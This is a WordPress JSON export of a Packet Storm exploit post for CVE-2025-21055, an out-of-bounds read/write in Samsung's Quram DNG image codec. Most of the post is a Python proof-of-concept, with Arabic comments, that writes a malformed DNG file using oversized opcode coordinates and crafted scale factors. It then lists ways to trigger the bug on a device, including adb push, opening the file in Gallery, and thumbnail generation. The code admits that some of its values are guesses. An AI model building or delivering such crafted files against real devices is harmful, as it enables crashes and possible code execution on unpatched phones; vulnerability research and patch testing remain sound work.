{"id":28305,"date":"2025-12-02T15:33:19","date_gmt":"2025-12-02T15:33:19","guid":{"rendered":"http:\/\/localhost\/?p=28305"},"modified":"2025-12-02T15:33:19","modified_gmt":"2025-12-02T15:33:19","slug":"android13-quram-dng-codec-memory-corruption","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=28305","title":{"rendered":"\ud83d\udcc4 Android\u202f13 Quram DNG Codec Memory Corruption_PACKETSTORM:212320"},"content":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2025-12-02T19:41:15&#8243;,&#8221;description&#8221;:&#8221;An out-of-bounds read\/write vulnerability in Samsung&#8217;s Quram image codec library libimagecodec.quram.so is triggered when the library processes a maliciously crafted image file, causing memory access outside the intended buffer boundaries&#8230;&#8221;,&#8221;published&#8221;:&#8221;2025-12-02T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2025-12-02T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 Android\u202f13 Quram DNG Codec Memory Corruption&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:212320&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2025-21055&#8243;],&#8221;sourceData&#8221;:&#8221;=============================================================================================================================================\\n    | # Title     : Android\u202f13 Quram DNG Codec Memory Corruption Vulnerability                                                                   |\\n    | # Author    : indoushka                                                                                                                   |\\n    | # Tested on : windows 11 Fr(Pro) \/ browser : Mozilla firefox 145.0.1 (64 bits)                                                            |\\n    | # Vendor    : https:\/\/www.samsung.com\/n_africa\/                                                                                           |\\n    =============================================================================================================================================\\n    \\n    [+] References : https:\/\/packetstorm.news\/files\/id\/211371\/ \\u0026 CVE-2025-21055  https:\/\/packetstorm.news\/download\/211371\\n    \\n    [+] Summary : \\n    \\n    CVE\u20112025\u201121055 is an Out\u2011of\u2011Bounds Read\/Write vulnerability in **Samsung\u2019s Quram image codec library** (`libimagecodec.quram.so`). \\n    The flaw is triggered when the library processes a maliciously crafted image file, causing memory access outside the intended buffer boundaries.\\n    Successful exploitation can result in **information disclosure**, **application crash**, or potentially **arbitrary code execution**, \\n    depending on the attack scenario. The issue affects Samsung devices running vulnerable versions of the Quram codec **prior to the security update SMR October 2025 Release 1**.\\n    Samsung addressed the vulnerability by releasing a patched version of the image codec library in the October 2025 Security Maintenance Release (SMR).\\n    \\n    [+] Vulnerability: Remote Code Execution in Samsung\u2019s libimagecodec.quram.so library.\\n    \\n    [+] Affected software: Samsung devices running Android 13 with firmware older than SMR Oct\u20112025 Release 1.\\n    \\n    [+] Impact: An attacker can exploit the vulnerability via specially crafted image files to execute arbitrary code on the device.\\n    \\n    [+] Affected devices: All Samsung devices using the vulnerable library version, including (but not limited to) Galaxy S22, S23, S24, Z Fold4, Z Flip4\u2014only if firmware is unpatched.\\n    \\n    [+] Patch\/Remediation: Apply the October 2025 SMR or later security update.\\n    \\n    [+]  POC : python poc.py\\n    \\n    #!\/usr\/bin\/env python3\\n    \\&#8221;\\&#8221;\\&#8221;\\n    Proof of Concept for CVE-2025-21055\\n    Quram DNG Codec Memory Corruption Vulnerability\\n    \\&#8221;\\&#8221;\\&#8221;\\n    \\n    import struct\\n    import os\\n    \\n    def create_malicious_dng():\\n        \\&#8221;\\&#8221;\\&#8221;\\n        \u0625\u0646\u0634\u0627\u0621 \u0645\u0644\u0641 DNG \u0645\u0635\u0645\u0645 \u0644\u0625\u062b\u0627\u0631\u0629 \u0627\u0644\u062e\u0644\u0644 \u0641\u064a QuramDngOpcodeScalePerColumn\\n        \\&#8221;\\&#8221;\\&#8221;\\n        \\n        # \u0647\u064a\u0643\u0644 \u0623\u0633\u0627\u0633\u064a \u0644\u0645\u0644\u0641 DNG \u0645\u0639 opcodes \u0645\u062e\u0635\u0635\u0629\\n        dng_data = bytearray()\\n        \\n        # TIFF Header (\u0645\u0637\u0644\u0648\u0628 \u0644\u0645\u0644\u0641\u0627\u062a DNG)\\n        dng_data.extend(b&#8217;II*\\\\x00&#8242;)  # Little-endian TIFF\\n        dng_data.extend(struct.pack(&#8216;\\u003cI&#8217;, 8))  # Offset to IFD0\\n        \\n        # IFD0 &#8211; Basic tags\\n        ifd0_data = bytearray()\\n        ifd0_data.extend(struct.pack(&#8216;\\u003cH&#8217;, 11))  # Number of entries\\n        \\n        # ImageWidth (\u0645\u0637\u0644\u0648\u0628) &#8211; Tag 256, Type=LONG (4), Count=1, Value=100\\n        ifd0_data.extend(struct.pack(&#8216;\\u003cHHI&#8217;, 256, 4, 1))\\n        ifd0_data.extend(struct.pack(&#8216;\\u003cI&#8217;, 100))\\n        \\n        # ImageLength (\u0645\u0637\u0644\u0648\u0628) &#8211; Tag 257, Type=LONG (4), Count=1, Value=100  \\n        ifd0_data.extend(struct.pack(&#8216;\\u003cHHI&#8217;, 257, 4, 1))\\n        ifd0_data.extend(struct.pack(&#8216;\\u003cI&#8217;, 100))\\n        \\n        # BitsPerSample &#8211; Tag 258, Type=SHORT (3), Count=3\\n        ifd0_data.extend(struct.pack(&#8216;\\u003cHHI&#8217;, 258, 3, 3))\\n        bits_per_sample_offset = len(dng_data) + len(ifd0_data) + 4\\n        ifd0_data.extend(struct.pack(&#8216;\\u003cI&#8217;, bits_per_sample_offset))\\n        \\n        # Compression &#8211; Tag 259, Type=SHORT (3), Count=1, Value=1 (No compression)\\n        ifd0_data.extend(struct.pack(&#8216;\\u003cHHI&#8217;, 259, 3, 1))\\n        ifd0_data.extend(struct.pack(&#8216;\\u003cH&#8217;, 1))  # Value in the offset field\\n        ifd0_data.extend(b&#8217;\\\\x00\\\\x00&#8242;)  # Padding\\n        \\n        # PhotometricInterpretation &#8211; Tag 262, Type=SHORT (3), Count=1, Value=32803 (CFA)\\n        ifd0_data.extend(struct.pack(&#8216;\\u003cHHI&#8217;, 262, 3, 1))\\n        ifd0_data.extend(struct.pack(&#8216;\\u003cH&#8217;, 32803))\\n        ifd0_data.extend(b&#8217;\\\\x00\\\\x00&#8242;)  # Padding\\n        \\n        # Make DNG-specific tags\\n        # DNGVersion &#8211; Tag 50706, Type=BYTE (1), Count=4, Value=[1,0,0,0]\\n        ifd0_data.extend(struct.pack(&#8216;\\u003cHHI&#8217;, 50706, 1, 4))\\n        dng_version_offset = len(dng_data) + len(ifd0_data) + 4\\n        ifd0_data.extend(struct.pack(&#8216;\\u003cI&#8217;, dng_version_offset))\\n        \\n        # DNGBackwardVersion &#8211; Tag 50707, Type=BYTE (1), Count=4, Value=[1,0,0,0]\\n        ifd0_data.extend(struct.pack(&#8216;\\u003cHHI&#8217;, 50707, 1, 4))\\n        dng_backward_offset = len(dng_data) + len(ifd0_data) + 4\\n        ifd0_data.extend(struct.pack(&#8216;\\u003cI&#8217;, dng_backward_offset))\\n        \\n        # OpcodeList1 &#8211; \u0627\u0644\u0646\u0642\u0637\u0629 \u0627\u0644\u062d\u0631\u062c\u0629 \u0644\u0644\u0647\u062c\u0648\u0645 &#8211; Tag 51008\\n        opcode_list = create_malicious_opcodes()\\n        ifd0_data.extend(struct.pack(&#8216;\\u003cHHI&#8217;, 51008, 1, len(opcode_list)))\\n        opcode_list_offset = len(dng_data) + len(ifd0_data) + 4\\n        ifd0_data.extend(struct.pack(&#8216;\\u003cI&#8217;, opcode_list_offset))\\n        \\n        # CFAPattern &#8211; Tag 33421, Type=BYTE (1), Count=4\\n        ifd0_data.extend(struct.pack(&#8216;\\u003cHHI&#8217;, 33421, 1, 4))\\n        cfa_pattern_offset = len(dng_data) + len(ifd0_data) + 4\\n        ifd0_data.extend(struct.pack(&#8216;\\u003cI&#8217;, cfa_pattern_offset))\\n        \\n        # \u0646\u0645\u0648\u0630\u062c CFA \u0628\u0633\u064a\u0637 &#8211; RGGB\\n        cfa_pattern = b&#8217;\\\\x00\\\\x01\\\\x01\\\\x02&#8217;\\n        \\n        # \u0625\u0636\u0627\u0641\u0629 \u0628\u064a\u0627\u0646\u0627\u062a \u0625\u0636\u0627\u0641\u064a\u0629\\n        ifd0_data.extend(struct.pack(&#8216;\\u003cI&#8217;, 0))  # Offset to next IFD\\n        \\n        # \u062f\u0645\u062c \u0643\u0644 \u0627\u0644\u0628\u064a\u0627\u0646\u0627\u062a\\n        dng_data.extend(ifd0_data)\\n        \\n        # \u0625\u0636\u0627\u0641\u0629 \u0627\u0644\u0628\u064a\u0627\u0646\u0627\u062a \u0627\u0644\u0645\u0631\u062c\u0639\u064a\u0629\\n        # BitsPerSample data\\n        dng_data.extend(struct.pack(&#8216;\\u003cHHH&#8217;, 16, 16, 16))\\n        \\n        # DNGVersion data\\n        dng_data.extend(b&#8217;\\\\x01\\\\x00\\\\x00\\\\x00&#8242;)\\n        \\n        # DNGBackwardVersion data  \\n        dng_data.extend(b&#8217;\\\\x01\\\\x00\\\\x00\\\\x00&#8242;)\\n        \\n        # CFA Pattern data\\n        dng_data.extend(cfa_pattern)\\n        \\n        # \u0625\u0636\u0627\u0641\u0629 OpcodeList \u0641\u064a \u0627\u0644\u0645\u0648\u0636\u0639 \u0627\u0644\u0635\u062d\u064a\u062d\\n        opcode_pos = opcode_list_offset &#8211; len(dng_data)\\n        if opcode_pos \\u003c 0:\\n            # \u0625\u0630\u0627 \u0643\u0627\u0646 \u0627\u0644\u0645\u0648\u0642\u0639 \u0633\u0627\u0644\u0628\u0627\u064b\u060c \u0646\u0636\u064a\u0641 padding\\n            padding_needed = -opcode_pos\\n            dng_data.extend(b&#8217;\\\\x00&#8242; * padding_needed)\\n            dng_data.extend(opcode_list)\\n        else:\\n            # \u0625\u0630\u0627 \u0643\u0627\u0646 \u0627\u0644\u0645\u0648\u0642\u0639 \u0645\u0648\u062c\u0628\u0627\u064b\u060c \u0646\u0636\u064a\u0641 \u0641\u064a \u0627\u0644\u0645\u0648\u0636\u0639 \u0627\u0644\u0645\u062d\u062f\u062f\\n            if len(dng_data) \\u003c opcode_list_offset:\\n                dng_data.extend(b&#8217;\\\\x00&#8242; * (opcode_list_offset &#8211; len(dng_data)))\\n            dng_data.extend(opcode_list)\\n        \\n        return bytes(dng_data)\\n    \\n    def create_malicious_opcodes():\\n        \\&#8221;\\&#8221;\\&#8221;\\n        \u0625\u0646\u0634\u0627\u0621 opcodes \u0645\u0635\u0645\u0645\u0629 \u0644\u0625\u062b\u0627\u0631\u0629 \u0627\u0644\u062e\u0644\u0644 \u0641\u064a ScalePerColumn\\n        \\&#8221;\\&#8221;\\&#8221;\\n        opcodes = bytearray()\\n        \\n        # Opcode ID \u0644\u0640 ScalePerColumn (\u0642\u064a\u0645\u0629 \u0627\u0641\u062a\u0631\u0627\u0636\u064a\u0629 &#8211; \u062a\u062d\u062a\u0627\u062c \u0627\u0644\u062a\u062d\u0642\u0642)\\n        scale_per_column_id = 0x0000000A\\n        \\n        # Version\\n        opcodes.extend(struct.pack(&#8216;\\u003cI&#8217;, 1))\\n        \\n        # \u0625\u062d\u062f\u0627\u062b\u064a\u0627\u062a \u0627\u0644\u0645\u0646\u0637\u0642\u0629 &#8211; \u0642\u064a\u0645 \u0645\u0635\u0645\u0645\u0629 \u0644\u0625\u062b\u0627\u0631\u0629 integer overflow\\n        # \u0627\u0633\u062a\u062e\u062f\u0627\u0645 \u0642\u064a\u0645 \u0643\u0628\u064a\u0631\u0629 \u0644\u0625\u062b\u0627\u0631\u0629 \u0627\u0644\u0641\u0627\u0626\u0636 \u0641\u064a \u0627\u0644\u062d\u0633\u0627\u0628\u0627\u062a\\n        top = 0x00000000\\n        left = 0x00000000  \\n        bottom = 0xFFFFFFFF  # \u0642\u064a\u0645\u0629 \u0643\u0628\u064a\u0631\u0629 \u062c\u062f\u0627\u064b\\n        right = 0xFFFFFFFF   # \u0642\u064a\u0645\u0629 \u0643\u0628\u064a\u0631\u0629 \u062c\u062f\u0627\u064b\\n        \\n        opcodes.extend(struct.pack(&#8216;\\u003cIIII&#8217;, top, left, bottom, right))\\n        \\n        # \u0639\u062f\u062f \u0627\u0644\u0623\u0639\u0645\u062f\u0629 &#8211; \u0642\u064a\u0645\u0629 \u063a\u064a\u0631 \u0637\u0628\u064a\u0639\u064a\u0629\\n        column_count = 0x7FFFFFFF  # MAX_INT \u062a\u0642\u0631\u064a\u0628\u0627\u064b\\n        opcodes.extend(struct.pack(&#8216;\\u003cI&#8217;, column_count))\\n        \\n        # \u0645\u0639\u0627\u0645\u0644\u0627\u062a \u0627\u0644\u0642\u064a\u0627\u0633 &#8211; \u0642\u064a\u0645 \u0645\u0635\u0645\u0645\u0629 \u0644\u0625\u062b\u0627\u0631\u0629 \u0627\u0644\u062e\u0644\u0644 \u0641\u064a \u0627\u0644\u062d\u0633\u0627\u0628\u0627\u062a\\n        # \u0627\u0633\u062a\u062e\u062f\u0627\u0645 \u0642\u064a\u0645 \u062a\u0624\u062f\u064a \u0625\u0644\u0649 \u0639\u0646\u0627\u0648\u064a\u0646 \u0630\u0627\u0643\u0631\u0629 \u063a\u064a\u0631 \u0635\u0627\u0644\u062d\u0629\\n        for i in range(100):  # \u0639\u062f\u062f \u0643\u0628\u064a\u0631 \u0645\u0646 \u0627\u0644\u0645\u0639\u0627\u0645\u0644\u0627\u062a\\n            # \u0642\u064a\u0645 \u0645\u0635\u0645\u0645\u0629 \u0644\u0625\u0646\u0634\u0627\u0621 \u0639\u0646\u0648\u0627\u0646 \u0630\u0627\u0643\u0631\u0629 \u063a\u064a\u0631 \u0642\u0627\u0646\u0648\u0646\u064a\\n            if i % 4 == 0:\\n                factor = 0xB4000000 + (i * 0x1000)  # \u0645\u062d\u0627\u0648\u0644\u0629 \u0627\u0644\u0648\u0635\u0648\u0644 \u0644\u0639\u0646\u0648\u0627\u0646 \u0627\u0644\u0643\u0631\u0627\u0634\\n            else:\\n                factor = 0x00000001  # \u0642\u064a\u0645 \u0639\u0627\u062f\u064a\u0629 \u0644\u062a\u062c\u0646\u0628 \u0627\u0644\u0627\u0643\u062a\u0634\u0627\u0641 \u0627\u0644\u0645\u0628\u0643\u0631\\n            \\n            opcodes.extend(struct.pack(&#8216;\\u003cI&#8217;, factor \\u0026 0xFFFFFFFF))\\n        \\n        return opcodes\\n    \\n    def create_simplified_indoushka():\\n        \\&#8221;\\&#8221;\\&#8221;\\n        \u0646\u0633\u062e\u0629 \u0645\u0628\u0633\u0637\u0629 \u0645\u0646 \u0627\u0644\u0645\u0644\u0641 \u0627\u0644\u062e\u0628\u064a\u062b \u062a\u0631\u0643\u0632 \u0639\u0644\u0649 \u0627\u0644\u062c\u0632\u0621 \u0627\u0644\u0623\u0633\u0627\u0633\u064a\\n        \\&#8221;\\&#8221;\\&#8221;\\n        dng_data = bytearray()\\n        \\n        # TIFF Header \u0628\u0633\u064a\u0637\\n        dng_data.extend(b&#8217;II*\\\\x00\\\\x08\\\\x00\\\\x00\\\\x00&#8242;)  # Header + offset to IFD\\n        \\n        # IFD \u0645\u0639 \u0639\u062f\u062f \u0642\u0644\u064a\u0644 \u0645\u0646 Tags\\n        ifd_data = bytearray()\\n        ifd_data.extend(struct.pack(&#8216;\\u003cH&#8217;, 5))  # 5 entries\\n        \\n        # ImageWidth\\n        ifd_data.extend(struct.pack(&#8216;\\u003cHHI&#8217;, 256, 4, 1))\\n        ifd_data.extend(struct.pack(&#8216;\\u003cI&#8217;, 100))\\n        \\n        # ImageLength\\n        ifd_data.extend(struct.pack(&#8216;\\u003cHHI&#8217;, 257, 4, 1))\\n        ifd_data.extend(struct.pack(&#8216;\\u003cI&#8217;, 100))\\n        \\n        # Compression\\n        ifd_data.extend(struct.pack(&#8216;\\u003cHHI&#8217;, 259, 3, 1))\\n        ifd_data.extend(struct.pack(&#8216;\\u003cH&#8217;, 1))\\n        ifd_data.extend(b&#8217;\\\\x00\\\\x00&#8242;)\\n        \\n        # PhotometricInterpretation (CFA)\\n        ifd_data.extend(struct.pack(&#8216;\\u003cHHI&#8217;, 262, 3, 1))\\n        ifd_data.extend(struct.pack(&#8216;\\u003cH&#8217;, 32803))\\n        ifd_data.extend(b&#8217;\\\\x00\\\\x00&#8242;)\\n        \\n        # OpcodeList1 &#8211; \u0627\u0644\u062a\u0631\u0643\u064a\u0632 \u0639\u0644\u0649 \u0627\u0644\u062c\u0632\u0621 \u0627\u0644\u0645\u0647\u0645\\n        ifd_data.extend(struct.pack(&#8216;\\u003cHHI&#8217;, 51008, 1, 1000))  # \u062d\u062c\u0645 \u0643\u0628\u064a\u0631\\n        opcode_offset = len(dng_data) + len(ifd_data) + 4\\n        ifd_data.extend(struct.pack(&#8216;\\u003cI&#8217;, opcode_offset))\\n        \\n        # No next IFD\\n        ifd_data.extend(struct.pack(&#8216;\\u003cI&#8217;, 0))\\n        \\n        dng_data.extend(ifd_data)\\n        \\n        # \u0625\u0636\u0627\u0641\u0629 opcodes \u062e\u0628\u064a\u062b\u0629\\n        opcodes = bytearray()\\n        opcodes.extend(struct.pack(&#8216;\\u003cI&#8217;, 1))  # version\\n        \\n        # \u0625\u062d\u062f\u0627\u062b\u064a\u0627\u062a \u0643\u0628\u064a\u0631\u0629 \u062c\u062f\u0627\u064b\\n        opcodes.extend(struct.pack(&#8216;\\u003cIIII&#8217;, 0, 0, 0x7FFFFFFF, 0x7FFFFFFF))\\n        \\n        # \u0645\u0639\u0627\u0645\u0644\u0627\u062a \u0642\u064a\u0627\u0633 \u0645\u0635\u0645\u0645\u0629 \u0644\u0644\u062a\u0633\u0628\u0628 \u0641\u064a memory corruption\\n        for i in range(200):\\n            if i == 50:  # \u0641\u064a \u0645\u0646\u062a\u0635\u0641 \u0627\u0644\u0628\u064a\u0627\u0646\u0627\u062a\u060c \u0646\u0636\u064a\u0641 \u0627\u0644\u0642\u064a\u0645 \u0627\u0644\u062e\u0628\u064a\u062b\u0629\\n                opcodes.extend(struct.pack(&#8216;\\u003cI&#8217;, 0xB4000079))\\n                opcodes.extend(struct.pack(&#8216;\\u003cI&#8217;, 0x2607A000))\\n            else:\\n                opcodes.extend(struct.pack(&#8216;\\u003cI&#8217;, i))\\n        \\n        # \u062a\u0623\u0643\u062f \u0645\u0646 \u0623\u0646 \u0627\u0644\u0628\u064a\u0627\u0646\u0627\u062a \u0641\u064a \u0627\u0644\u0645\u0648\u0636\u0639 \u0627\u0644\u0635\u062d\u064a\u062d\\n        if len(dng_data) \\u003c opcode_offset:\\n            dng_data.extend(b&#8217;\\\\x00&#8242; * (opcode_offset &#8211; len(dng_data)))\\n        \\n        dng_data.extend(opcodes)\\n        \\n        return bytes(dng_data)\\n    \\n    def indoushka_via_gallery(file_path):\\n        \\&#8221;\\&#8221;\\&#8221;\\n        \u0645\u062d\u0627\u0648\u0644\u0629 \u0627\u0633\u062a\u063a\u0644\u0627\u0644 \u0627\u0644\u062b\u063a\u0631\u0629 \u0639\u0628\u0631 \u0645\u0639\u0627\u0644\u062c\u0629 \u0627\u0644\u0645\u0644\u0641 \u0641\u064a \u0627\u0644\u062c\u0627\u0644\u064a\u0631\u064a\\n        \\&#8221;\\&#8221;\\&#8221;\\n        print(f\\&#8221;[+] Creating malicious DNG file: {file_path}\\&#8221;)\\n        \\n        try:\\n            # \u0645\u062d\u0627\u0648\u0644\u0629 \u0625\u0646\u0634\u0627\u0621 \u0627\u0644\u0645\u0644\u0641 \u0628\u0627\u0644\u0637\u0631\u064a\u0642\u0629 \u0627\u0644\u0645\u0639\u0642\u062f\u0629 \u0623\u0648\u0644\u0627\u064b\\n            malicious_dng = create_malicious_dng()\\n            print(\\&#8221;[+] Complex DNG created successfully\\&#8221;)\\n        except Exception as e:\\n            print(f\\&#8221;[-] Complex method failed: {e}\\&#8221;)\\n            print(\\&#8221;[+] Trying simplified method&#8230;\\&#8221;)\\n            malicious_dng = create_simplified_indoushka()\\n            print(\\&#8221;[+] Simplified DNG created successfully\\&#8221;)\\n        \\n        with open(file_path, &#8216;wb&#8217;) as f:\\n            f.write(malicious_dng)\\n        \\n        file_size = os.path.getsize(file_path)\\n        print(f\\&#8221;[+] Malicious DNG file created: {file_path} ({file_size} bytes)\\&#8221;)\\n        \\n        print(\\&#8221;\\\\n[+] Trigger methods:\\&#8221;)\\n        print(\\&#8221;    1. Copy file to device: adb push indoushka.dng \/sdcard\/Download\/\\&#8221;)\\n        print(\\&#8221;    2. Open file in Samsung Gallery\\&#8221;)\\n        print(\\&#8221;    3. Use &#8216;Set as wallpaper&#8217; feature\\&#8221;) \\n        print(\\&#8221;    4. Share the image to Gallery\\&#8221;)\\n        print(\\&#8221;    5. Wait for automatic thumbnail generation\\&#8221;)\\n    \\n    def analyze_crash():\\n        \\&#8221;\\&#8221;\\&#8221;\\n        \u062a\u062d\u0644\u064a\u0644 \u0645\u0639\u0644\u0648\u0645\u0627\u062a \u0627\u0644\u0643\u0631\u0627\u0634 \u0645\u0646 \u0627\u0644\u0633\u062c\u0644 \u0627\u0644\u0645\u0631\u0641\u0642\\n        \\&#8221;\\&#8221;\\&#8221;\\n        print(\\&#8221;\\\\n[!] Crash Analysis:\\&#8221;)\\n        print(\\&#8221;    &#8211; Fault address: 0xb40000792607a000 (non-canonical ARM64 address)\\&#8221;)\\n        print(\\&#8221;    &#8211; Crash in: QuramDngOpcodeScalePerColumn::processArea()\\&#8221;)\\n        print(\\&#8221;    &#8211; Likely cause: Integer overflow in memory calculation\\&#8221;)\\n        print(\\&#8221;    &#8211; Attack vector: Malicious ScalePerColumn opcode in DNG\\&#8221;)\\n    \\n    if __name__ == \\&#8221;__main__\\&#8221;:\\n        print(\\&#8221;CVE-2025-21055 &#8211; Quram DNG Codec PoC\\&#8221;)\\n        print(\\&#8221;=====================================\\&#8221;)\\n        \\n        output_file = \\&#8221;indoushka.dng\\&#8221;\\n        \\n        analyze_crash()\\n        indoushka_via_gallery(output_file)\\n        \\n        print(f\\&#8221;\\\\n[!] PoC file &#8216;{output_file}&#8217; generated successfully\\&#8221;)\\n        print(\\&#8221;[!] Test on isolated device only!\\&#8221;)\\n        print(\\&#8221;[!] Actual exploitation requires precise opcode values from reverse engineering\\&#8221;)\\n    \\t\\n    Greetings to :=====================================================================================\\n    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|\\n    ===================================================================================================&#8221;,&#8221;sourceHref&#8221;:&#8221;https:\/\/packetstorm.news\/download\/212320&#8243;,&#8221;cvss&#8221;:{&#8220;score&#8221;:7.5,&#8221;severity&#8221;:&#8221;HIGH&#8221;,&#8221;vector&#8221;:&#8221;CVSS:3.1\/AV:N\/AC:L\/PR:N\/UI:N\/S:U\/C:H\/I:N\/A:N&#8221;,&#8221;version&#8221;:&#8221;3.1&#8243;},&#8221;cvss2&#8243;:{},&#8221;cvss3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;,&#8221;cvssV3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;}},&#8221;href&#8221;:&#8221;https:\/\/packetstorm.news\/files\/id\/212320\/&#8221;,&#8221;category_name&#8221;:&#8221;Exploit&#8221;,&#8221;post_link&#8221;:&#8221;&#8221;,&#8221;product&#8221;:&#8221;&#8221;,&#8221;version&#8221;:&#8221;&#8221;,&#8221;vendor&#8221;:&#8221;&#8221;,&#8221;ai_description&#8221;:&#8221;&#8221;,&#8221;ai_severity&#8221;:&#8221;&#8221;,&#8221;ai_vendor&#8221;:&#8221;&#8221;,&#8221;ai_product&#8221;:&#8221;&#8221;,&#8221;ai_version&#8221;:&#8221;&#8221;,&#8221;ai_score&#8221;:0}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2025-12-02T19:41:15&#8243;,&#8221;description&#8221;:&#8221;An out-of-bounds read\/write vulnerability in Samsung&#8217;s Quram image codec library libimagecodec.quram.so is triggered when the library processes a maliciously crafted image file, causing memory access&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,16,12,15,13,53,7,11,5],"class_list":["post-28305","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-cvss-75","tag-exploit","tag-high","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>\ud83d\udcc4 Android\u202f13 Quram DNG Codec Memory Corruption_PACKETSTORM:212320 - zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=28305\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"\ud83d\udcc4 Android\u202f13 Quram DNG Codec Memory Corruption_PACKETSTORM:212320 - zero redgem\" \/>\n<meta property=\"og:description\" content=\"{&#8220;lastseen&#8221;:&#8221;2025-12-02T19:41:15&#8243;,&#8221;description&#8221;:&#8221;An out-of-bounds read\/write vulnerability in Samsung&#8217;s Quram image codec library libimagecodec.quram.so is triggered when the library processes a maliciously crafted image file, causing memory access...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=28305\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2025-12-02T15:33:19+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"9 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=28305#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=28305\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"\ud83d\udcc4 Android\u202f13 Quram DNG Codec Memory Corruption_PACKETSTORM:212320\",\"datePublished\":\"2025-12-02T15:33:19+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=28305\"},\"wordCount\":1685,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CVE\",\"CVSS\",\"CVSS-7.5\",\"exploit\",\"HIGH\",\"news\",\"packetstorm\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_exploit\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=28305#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=28305\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=28305\",\"name\":\"\ud83d\udcc4 Android\u202f13 Quram DNG Codec Memory Corruption_PACKETSTORM:212320 - zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2025-12-02T15:33:19+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=28305#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=28305\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=28305#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"\ud83d\udcc4 Android\u202f13 Quram DNG Codec Memory 